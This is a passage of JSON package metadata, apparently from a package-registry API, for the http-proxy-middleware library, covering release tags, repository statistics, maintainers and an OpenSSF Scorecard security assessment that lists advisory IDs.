cosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0-beta/manifests"},{"name":"v0.9.1","sha":"fe24b979cf7a55b757092203a5c7832233ff67ea","kind":"commit","published_at":"2016-01-18T21:43:17.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.9.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"57094e506e92bd7a3f5e6cf94dbbad7632cdfcad","kind":"commit","published_at":"2015-09-28T22:01:31.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.9.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.0/manifests"},{"name":"v0.8.2","sha":"5f343b95eac318156e4475d80ec9b9c56437c273","kind":"commit","published_at":"2015-09-23T18:43:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"13f949160afd7ef754d5a27af9514d76099817f7","kind":"commit","published_at":"2015-09-09T16:02:50.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"f1559c909f0ed3239a970c73f15755d65de86a53","kind":"commit","published_at":"2015-08-31T10:46:07.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"75a062515001910ce803b1147ee8310a102c82b8","kind":"commit","published_at":"2015-08-23T20:52:35.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.7.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"bb473ad7c20de225fdaed6a7e74e29f3f948fce6","kind":"commit","published_at":"2015-08-18T11:40:35.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.6.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.6.0/manifests"},{"name":"v0.5.0","sha":"a025f336746df150c58f2851595b8073b3f96e42","kind":"commit","published_at":"2015-08-07T18:29:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.5.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.5.0/manifests"},{"name":"v0.4.0","sha":"b10d7301fcde3be94b8fe4708ec1e0ad17b0bf4a","kind":"commit","published_at":"2015-07-28T21:21:11.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.4.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.4.0/manifests"},{"name":"v0.3.2","sha":"e6ef751eb707e2898bed65e23e88fa570123e87c","kind":"commit","published_at":"2015-07-25T12:59:05.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"bcb949b051fa46810fcce7defb8d0f927214db62","kind":"commit","published_at":"2015-07-24T15:52:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"b596677e0fe4b6c4d974a21949c5e1361b4cbb33","kind":"commit","published_at":"2015-07-19T11:07:26.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"afd3536ba67185b3f082c7a4bdb7cfa7534b7403","kind":"commit","published_at":"2015-07-13T09:28:23.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.2.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"abcf4a81366dde1d8fa0057c519d79765c54ef46","kind":"commit","published_at":"2015-07-09T03:43:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.1.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.1.0/manifests"},{"name":"v0.0.5","sha":"9a16ea7ed310db2a2c40a4a8f4bdc136c02f502d","kind":"commit","published_at":"2015-03-31T12:37:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.0.5/manifests"}]},"repo_metadata_updated_at":"2025-10-05T15:16:56.076Z","dependent_packages_count":1,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":31.979943940947386,"dependent_packages_count":31.998402898858956,"stargazers_count":2.425547197749612,"forks_count":5.084239059556222,"average":17.872033274278046},"purl":"pkg:maven/org.webjars.npm/http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/maven/org.webjars.npm:http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/maven/org.webjars.npm:http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/maven/org.webjars.npm:http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-02T00:03:37.533Z","issues_count":131,"pull_requests_count":265,"avg_time_to_close_issue":10873844.578125,"avg_time_to_close_pull_request":4293743.834782609,"issues_closed_count":64,"pull_requests_closed_count":230,"pull_request_authors_count":40,"issue_authors_count":127,"avg_comments_per_issue":4.854961832061068,"avg_comments_per_pull_request":1.3018867924528301,"merged_pull_requests_count":186,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":21,"past_year_pull_requests_count":108,"past_year_avg_time_to_close_issue":409788.8333333333,"past_year_avg_time_to_close_pull_request":126322.35164835164,"past_year_issues_closed_count":6,"past_year_pull_requests_closed_count":91,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":20,"past_year_avg_comments_per_issue":0.42857142857142855,"past_year_avg_comments_per_pull_request":1.1574074074074074,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":76,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":188,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":88,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:http-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:http-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:http-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:http-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:http-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:http-proxy-middleware/codemeta","maintainers":[],"registry":{"name":"repo1.maven.org","url":"https://repo.maven.apache.org/maven2","ecosystem":"maven","default":true,"packages_count":610982,"maintainers_count":0,"namespaces_count":80807,"keywords_count":34879,"github":"maven-central","metadata":{"funded_packages_count":37828},"icon_url":"https://github.com/maven-central.png","created_at":"2022-07-21T16:40:13.074Z","updated_at":"2026-06-10T05:05:55.821Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/namespaces"}},{"id":4267625,"name":"github.com/chimurai/http-proxy-middleware","ecosystem":"go","description":"","homepage":null,"licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":[],"namespace":"github.com/chimurai","versions_count":91,"first_release_published_at":"2015-03-31T12:37:36.000Z","latest_release_published_at":"2026-07-04T21:46:10.000Z","latest_release_number":"v4.2.0+incompatible","last_synced_at":"2026-07-10T15:02:03.609Z","created_at":"2022-04-13T01:56:10.466Z","updated_at":"2026-07-10T15:02:03.609Z","registry_url":"https://pkg.go.dev/github.com/chimurai/http-proxy-middleware","install_command":"go get github.com/chimurai/http-proxy-middleware","documentation_url":"https://pkg.go.dev/github.com/chimurai/http-proxy-middleware#section-documentation","metadata":{},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2025-09-20T16:22:09.000Z","size":3688,"stargazers_count":11069,"open_issues_count":115,"forks_count":873,"subscribers_count":115,"default_branch":"master","last_synced_at":"2025-09-27T10:45:25.602Z","etag":null,"topics":["browser-sync","connect","express","fastify","http-proxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2025-09-25T05:48:26.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"e012536a-e7a3-412b-8b41-8d0dc756008c","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":74,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":278470180,"owners_count":25992203,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-05T02:00:06.059Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"chimurai","name":"Steven Chim","uuid":"655241","kind":"user","description":"","email":"","website":null,"location":"Planet Earth, Milky Way","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/655241?v=4","repositories_count":20,"last_synced_at":"2024-04-23T19:43:31.983Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/chimurai","funding_links":[],"total_stars":10470,"followers":158,"following":30,"created_at":"2022-11-02T16:21:00.461Z","updated_at":"2024-04-23T19:43:38.219Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai/repositories"},"tags":[{"name":"v2.0.9","sha":"617a7c9da9cc90ecc00b0c8b1c2f6a385c879cb1","kind":"commit","published_at":"2025-04-10T12:10:53.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.9","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.9","tag_url":"https://repos.ec